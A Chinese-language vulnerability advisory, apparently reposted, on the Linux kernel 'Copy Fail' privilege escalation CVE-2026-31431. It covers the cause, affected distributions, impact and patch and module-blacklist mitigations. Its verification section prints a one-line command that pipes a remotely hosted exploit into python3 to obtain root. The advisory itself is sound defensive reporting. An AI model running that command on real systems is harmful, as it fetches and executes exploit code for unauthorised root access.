【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限

admin 2026-05-03 05:23:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 2026年4月披露的Linux内核高危本地提权漏洞CVE-2026-31431影响自2017年以来所有主流发行版,源于crypto子系统authencesn模板的逻辑缺陷,允许通过AFALG套接字和splice()向页面缓存写入4字节篡改setuid文件。该漏洞无需竞态条件即可一键获取root权限,且可导致容器逃逸等严重后果。建议立即更新内核或临时禁用algifaead模块,尤其需优先修复多用户、容器和云环境。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,云安全,容器安全,Linux内核


cover_image

【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限

原创

暗网线人 暗网线人

黑白之道

2026年4月30日 08:17 江西

在小说阅读器读本章

去阅读

摘要:2026年4月29日,安全研究人员公开披露了Linux内核中存在近十年的高危本地提权漏洞“Copy Fail”(CVE-2026-31431)。该漏洞影响自2017年以来所有主流Linux发行版,攻击者仅凭一个732字节的Python脚本即可从普通用户权限直接提升至root权限,并可能导致容器逃逸、云环境租户隔离被突破等严重后果。


已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

黑白之道已关注

分享视频

,时长00:10

0/0

00:00/00:10

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:10

00:10

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限

观看更多

转载

,

【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限

黑白之道已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

一、漏洞概述

| 项目 | 内容 | | — | — | | 漏洞编号 | CVE-2026-31431 | | 漏洞名称 | Copy Fail | | 发现者 | Theori公司的Xint Code团队(研究员Taeyang Lee主导) | | 公开日期 | 2026年4月29日 | | 危害等级 | 高危(本地提权,且可用于容器逃逸) | | 根因提交 | 2017年的优化提交(commit 72548b093ee3)引入 | | 修复提交 | a664bf3d603d | | 漏洞类型 | 内核crypto子系统逻辑缺陷(authencesn模板内的4字节page cache写入) |

一句话描述:漏洞位于Linux内核的algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获取root权限。


二、漏洞原理(白话解读)

2.1 涉及的内核“机关”

  • AF_ALG:Linux内核提供的用户态密码运算接口(socket类型),普通用户可直接调用。
  • AEAD(认证加密):一种带认证的加解密模式,例如AES-GCM。
  • authencesn模板:一种特定AEAD实现,在执行解密时会向目标缓冲区写入数据。
  • splice()系统调用:允许在两个文件描述符之间“零拷贝”传输数据,可用于将文件page cache与套接字缓冲区关联。

2.2 核心逻辑缺陷

2017年的优化(commit 72548b093ee3)试图让AEAD加解密操作直接在原地(in-place)完成,以减少内存拷贝。然而在解密路径中,系统错误地将来源不同的数据映射(TX与RX缓冲区)当作相同缓冲区处理,导致:

  1. 解密时将文件page cache中的页面链接到了可写的目标scatterlist中。
  2. authencesn解密在验证认证标签(tag)前,便向该页面写入4个字节。

由此,攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语

2.3 为何如此危险?

  • 无需竞态条件、无需内核特定偏移、无需重试——攻击路线是直线型的。
  • 不标记脏页:写入绕过正常的VFS写路径,被篡改的页面永远不会被内核标记为脏页,因此文件完整性工具(检查磁盘上的签名)根本发现不了。
  • 系统范围可见:page cache是全局共享的,一旦某个文件在内存中的页面被篡改,所有进程读取该文件时看到的都是被篡改的版本。
  • 跨容器传染:容器与宿主机共享同一个页缓存,因此攻击可从容器内发起并影响宿主机。

三、漏洞危害

| 场景 | 危害描述 | 风险等级 | | — | — | — | | 多用户共享主机(开发机、跳板机、编译服务器等) | 任何普通用户均可获取root权限,完全控制主机 | 🔴 高危 | | Kubernetes / 容器集群 | 容器内低权限进程可篡改宿主机页面缓存,实现容器逃逸并控制宿主机节点 | 🔴 高危 | | CI/CD 流水线(GitHub Actions自托管Runner、GitLab Runner、Jenkins Agent等) | 执行未经验证的PR代码即可让Runner主机被root | 🔴 高危 | | 云服务(notebook托管、沙箱、Serverless等) | 租户代码可突破隔离,跨租户访问宿主机 | 🔴 高危 | | 标准单租户服务器 | 需配合RCE等漏洞链式利用,但一旦获得低权限用户后即可提权 | 🟡 中等 | | 个人桌面/笔记本 | 本地任意代码执行可轻松获取root,但远程利用需要前置条件 | 🟡 较低 |

综合来看,此漏洞对共享内核环境(多租户、容器、CI/CD)影响尤为突出。


四、受影响范围

所有2017年至补丁发布前构建的Linux内核均受影响——覆盖绝大多数主流发行版。

4.1 已验证受影响的发行版

| 确认受影响发行版(实测) | 内核版本示例 | | — | — | | Ubuntu 24.04 LTS | 6.17.0-1007-aws | | Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | | RHEL 14.3 | 6.12.0-124.45.1.el10_1 | | SUSE 16 | 6.12.0-160000.9-default |

4.2 理论受影响的发行版

由于漏洞源于内核主线代码,故所有使用受影响内核的发行版均无法幸免:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • 以及大量嵌入式/定制系统

4.3 受影响的内核版本(官方)

  • 4.14 至未修复版本之间
  • 不受影响版本:6.18.22+、6.19.12+、7.0+

请注意:发行版的更新策略各有不同,即使上游主线已修复,部分发行版可能尚未推送补丁。


五、修复建议

5.1 立即更新

首选方案:将内核更新至包含commit a664bf3d603d 的版本。

  • 对于Ubuntu/Debian:关注官方安全公告,尽快安装linux-image相关更新。
  • 对于RHEL/CentOS/Rocky/Alma:关注Red Hat及衍生版的安全更新,RHEL 10、8、9的修复进度目前仍为“Fix deferred”。
  • 对于Amazon Linux:密切关注AWS安全公告,当前修复“pending”。

5.2 临时缓解措施(无法立即更新时)

若业务无法立即重启升级内核,可临时禁用algif_aead内核模块阻止漏洞利用:

bash

# 卸载模块(若当前未使用AEAD套接字)sudo rmmod algif_aead# 或通过modprobe黑名单永久禁用echo"blacklist algif_aead"|sudotee /etc/modprobe.d/blacklist-algif_aead.conf

警告:此操作会禁用用户态AEAD加解密接口,可能影响依赖该接口的应用程序(如某些VPN、TLS库)。

5.3 验证系统是否受影响

  • 检查模块是否加载

    bash

  lsmod |grep algif_aead

若有输出,说明接口已暴露。

  • 验证POC(请仅在获得授权的测试环境进行):

    bash

  curl https://copy.fail/exp | python3 &&su

成功则立即获得root shell。


六、安全建议(针对不同角色)

| 角色 | 建议 | | — | — | | 系统管理员 | 立即评估受影响资产,优先修复多用户/容器/CI/CD环境。 | | K8s/云平台运维 | 尽快修补宿主机内核,检查所有节点;同时加固容器内权限控制(限制AF_ALG的使用)。 | | 应用开发者 | 避免在低权限用户环境下执行不可信代码;CI/CD Runner应使用临时/沙箱化环境。 | | 安全厂商 | 更新IDS/IPS规则,检测对AF_ALG的异常调用及splice()与AEAD套接字的组合使用。 |


七、简要总结

  • 一个732字节的Python脚本即可拿下root,不需要任何内核调试功能、无需网络访问、无竞态条件。

  • 漏洞藏身于内核crypto子系统近十年(2017年至2026年),影响面极广。

  • 真正的威胁在于容器逃逸:攻击者可从一个被入侵的容器直接跳到宿主机,打破所有租户隔离。

  • 修复优先级极高,尤其在共享内核场景(云、K8s、CI/CD)必须立即行动。

    演示代码:https://github.com/theori-io/copy-fail-CVE-2026-31431

本文仅作安全预警与防御指导,请勿在未授权系统上测试漏洞利用代码。建议所有Linux用户、企业IT部门和安全团队立即评估自身环境并采取修复措施。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 暗网线人 暗网线人《【突发重大安全漏洞】linux内核再现“史诗级”本地提权漏洞CVE-2026-31431:一个732字节的Python脚本,一键获取root权限》

评论:0   参与:  0